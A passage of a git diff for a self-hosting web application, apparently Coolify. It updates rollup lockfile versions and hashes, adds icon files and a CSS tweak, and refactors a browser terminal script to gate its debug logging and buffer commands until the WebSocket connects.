"MIT" }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", - "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz", + "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==", "cpu": [ "arm" ], @@ -610,9 +610,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", - "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz", + "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==", "cpu": [ "arm64" ], @@ -624,9 +624,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", - "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz", + "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==", "cpu": [ "arm64" ], @@ -638,9 +638,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", - "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz", + "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==", "cpu": [ "x64" ], @@ -652,9 +652,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", - "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz", + "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==", "cpu": [ "arm64" ], @@ -666,9 +666,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", - "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz", + "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==", "cpu": [ "x64" ], @@ -680,9 +680,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", - "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz", + "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==", "cpu": [ "arm" ], @@ -694,9 +694,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", - "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz", + "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==", "cpu": [ "arm" ], @@ -708,9 +708,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", - "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz", + "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==", "cpu": [ "arm64" ], @@ -722,9 +722,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", - "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz", + "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==", "cpu": [ "arm64" ], @@ -736,9 +736,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", - "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz", + "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==", "cpu": [ "loong64" ], @@ -750,9 +750,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", - "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz", + "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==", "cpu": [ "loong64" ], @@ -764,9 +764,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", - "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz", + "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==", "cpu": [ "ppc64" ], @@ -778,9 +778,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", - "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz", + "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==", "cpu": [ "ppc64" ], @@ -792,9 +792,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", - "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz", + "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==", "cpu": [ "riscv64" ], @@ -806,9 +806,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", - "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", "cpu": [ "riscv64" ], @@ -820,9 +820,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", - "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", "cpu": [ "s390x" ], @@ -834,9 +834,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", - "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", "cpu": [ "x64" ], @@ -848,9 +848,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", - "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", "cpu": [ "x64" ], @@ -862,9 +862,9 @@ ] }, "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", - "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", "cpu": [ "x64" ], @@ -876,9 +876,9 @@ ] }, "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", - "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", "cpu": [ "arm64" ], @@ -890,9 +890,9 @@ ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", - "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", "cpu": [ "arm64" ], @@ -904,9 +904,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", - "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", "cpu": [ "ia32" ], @@ -918,9 +918,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", - "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", "cpu": [ "x64" ], @@ -932,9 +932,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", - "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", "cpu": [ "x64" ], @@ -1188,6 +1188,66 @@ "node": ">=14.0.0" } }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.1.0", + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1", + "@tybys/wasm-util": "^0.10.1" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { + "version": "0.10.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { + "version": "2.8.1", + "dev": true, + "inBundle": true, + "license": "0BSD", + "optional": true + }, "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { "version": "4.1.18", "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz", @@ -2490,9 +2550,9 @@ } }, "node_modules/rollup": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz", - "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", "dev": true, "license": "MIT", "dependencies": { @@ -2506,31 +2566,31 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.57.1", - "@rollup/rollup-android-arm64": "4.57.1", - "@rollup/rollup-darwin-arm64": "4.57.1", - "@rollup/rollup-darwin-x64": "4.57.1", - "@rollup/rollup-freebsd-arm64": "4.57.1", - "@rollup/rollup-freebsd-x64": "4.57.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", - "@rollup/rollup-linux-arm-musleabihf": "4.57.1", - "@rollup/rollup-linux-arm64-gnu": "4.57.1", - "@rollup/rollup-linux-arm64-musl": "4.57.1", - "@rollup/rollup-linux-loong64-gnu": "4.57.1", - "@rollup/rollup-linux-loong64-musl": "4.57.1", - "@rollup/rollup-linux-ppc64-gnu": "4.57.1", - "@rollup/rollup-linux-ppc64-musl": "4.57.1", - "@rollup/rollup-linux-riscv64-gnu": "4.57.1", - "@rollup/rollup-linux-riscv64-musl": "4.57.1", - "@rollup/rollup-linux-s390x-gnu": "4.57.1", - "@rollup/rollup-linux-x64-gnu": "4.57.1", - "@rollup/rollup-linux-x64-musl": "4.57.1", - "@rollup/rollup-openbsd-x64": "4.57.1", - "@rollup/rollup-openharmony-arm64": "4.57.1", - "@rollup/rollup-win32-arm64-msvc": "4.57.1", - "@rollup/rollup-win32-ia32-msvc": "4.57.1", - "@rollup/rollup-win32-x64-gnu": "4.57.1", - "@rollup/rollup-win32-x64-msvc": "4.57.1", + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" } }, diff --git a/phpunit.xml b/phpunit.xml index 6716b6b84..5d55acf75 100644 --- a/phpunit.xml +++ b/phpunit.xml @@ -22,6 +22,7 @@ + diff --git a/public/svgs/espocrm.svg b/public/svgs/espocrm.svg new file mode 100644 index 000000000..79d96f8c3 --- /dev/null +++ b/public/svgs/espocrm.svg @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/svgs/imgcompress.png b/public/svgs/imgcompress.png new file mode 100644 index 000000000..9eb04c3a7 Binary files /dev/null and b/public/svgs/imgcompress.png differ diff --git a/public/svgs/librespeed.png b/public/svgs/librespeed.png new file mode 100644 index 000000000..1405e3c18 Binary files /dev/null and b/public/svgs/librespeed.png differ diff --git a/resources/css/app.css b/resources/css/app.css index eeba1ee01..3cfa03dae 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -163,7 +163,7 @@ tbody { } tr { - @apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200; + @apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100; } tr th { diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 6707bec98..3c52edfa0 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -2,6 +2,16 @@ import { Terminal } from '@xterm/xterm'; import '@xterm/xterm/css/xterm.css'; import { FitAddon } from '@xterm/addon-fit'; +const terminalDebugEnabled = import.meta.env.DEV; + +function logTerminal(level, message, ...context) { + if (!terminalDebugEnabled) { + return; + } + + console[level](message, ...context); +} + export function initializeTerminalComponent() { function terminalData() { return { @@ -30,6 +40,8 @@ export function initializeTerminalComponent() { pingTimeoutId: null, heartbeatMissed: 0, maxHeartbeatMisses: 3, + // Command buffering for race condition prevention + pendingCommand: null, // Resize handling resizeObserver: null, resizeTimeout: null, @@ -120,6 +132,7 @@ export function initializeTerminalComponent() { this.checkIfProcessIsRunningAndKillIt(); this.clearAllTimers(); this.connectionState = 'disconnected'; + this.pendingCommand = null; if (this.socket) { this.socket.close(1000, 'Client cleanup'); } @@ -154,6 +167,7 @@ export function initializeTerminalComponent() { this.pendingWrites = 0; this.paused = false; this.commandBuffer = ''; + this.pendingCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); @@ -188,7 +202,7 @@ export function initializeTerminalComponent() { initializeWebSocket() { if (this.socket && this.socket.readyState !== WebSocket.CLOSED) { - console.log('[Terminal] WebSocket already connecting/connected, skipping'); + logTerminal('log', '[Terminal] WebSocket already connecting/connected, skipping'); return; // Already connecting or connected } @@ -197,7 +211,7 @@ export function initializeTerminalComponent() { // Ensure terminal config is available if (!window.terminalConfig) { - console.warn('[Terminal] Terminal config not available, using defaults'); + logTerminal('warn', '[Terminal] Terminal config not available, using defaults'); window.terminalConfig = {}; } @@ -223,7 +237,7 @@ export function initializeTerminalComponent() { } const url = `${connectionString.protocol}://${connectionString.host}${connectionString.port}${connectionString.path}` - console.log(`[Terminal] Attempting connection to: ${url}`); + logTerminal('log', `[Terminal] Attempting connection to: ${url}`); try { this.socket = new WebSocket(url); @@ -232,7 +246,7 @@ export function initializeTerminalComponent() { const timeoutMs = this.reconnectAttempts === 0 ? 15000 : this.connectionTimeout; this.connectionTimeoutId = setTimeout(() => { if (this.connectionState === 'connecting') { - console.error(`[Terminal] Connection timeout after ${timeoutMs}ms`); + logTerminal('error', `[Terminal] Connection timeout after ${timeoutMs}ms`); this.socket.close(); this.handleConnectionError('Connection timeout'); } @@ -244,13 +258,13 @@ export function initializeTerminalComponent() { this.socket.onclose = this.handleSocketClose.bind(this); } catch (error) { - console.error('[Terminal] Failed to create WebSocket:', error); + logTerminal('error', '[Terminal] Failed to create WebSocket:', error); this.handleConnectionError(`Failed to create WebSocket connection: ${error.message}`); } }, handleSocketOpen() { - console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.'); + logTerminal('log', '[Terminal] WebSocket connection established.'); this.connectionState = 'connected'; this.reconnectAttempts = 0; this.heartbeatMissed = 0; @@ -262,6 +276,12 @@ export function initializeTerminalComponent() { this.connectionTimeoutId = null; } + // Flush any buffered command from before WebSocket was ready + if (this.pendingCommand) { + this.sendMessage(this.pendingCommand); + this.pendingCommand = null; + } + // Start ping timeout monitoring this.resetPingTimeout(); @@ -270,16 +290,16 @@ export function initializeTerminalComponent() { }, handleSocketError(error) { - console.error('[Terminal] WebSocket error:', error); - console.error('[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); - console.error('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('error', '[Terminal] WebSocket error:', error); + 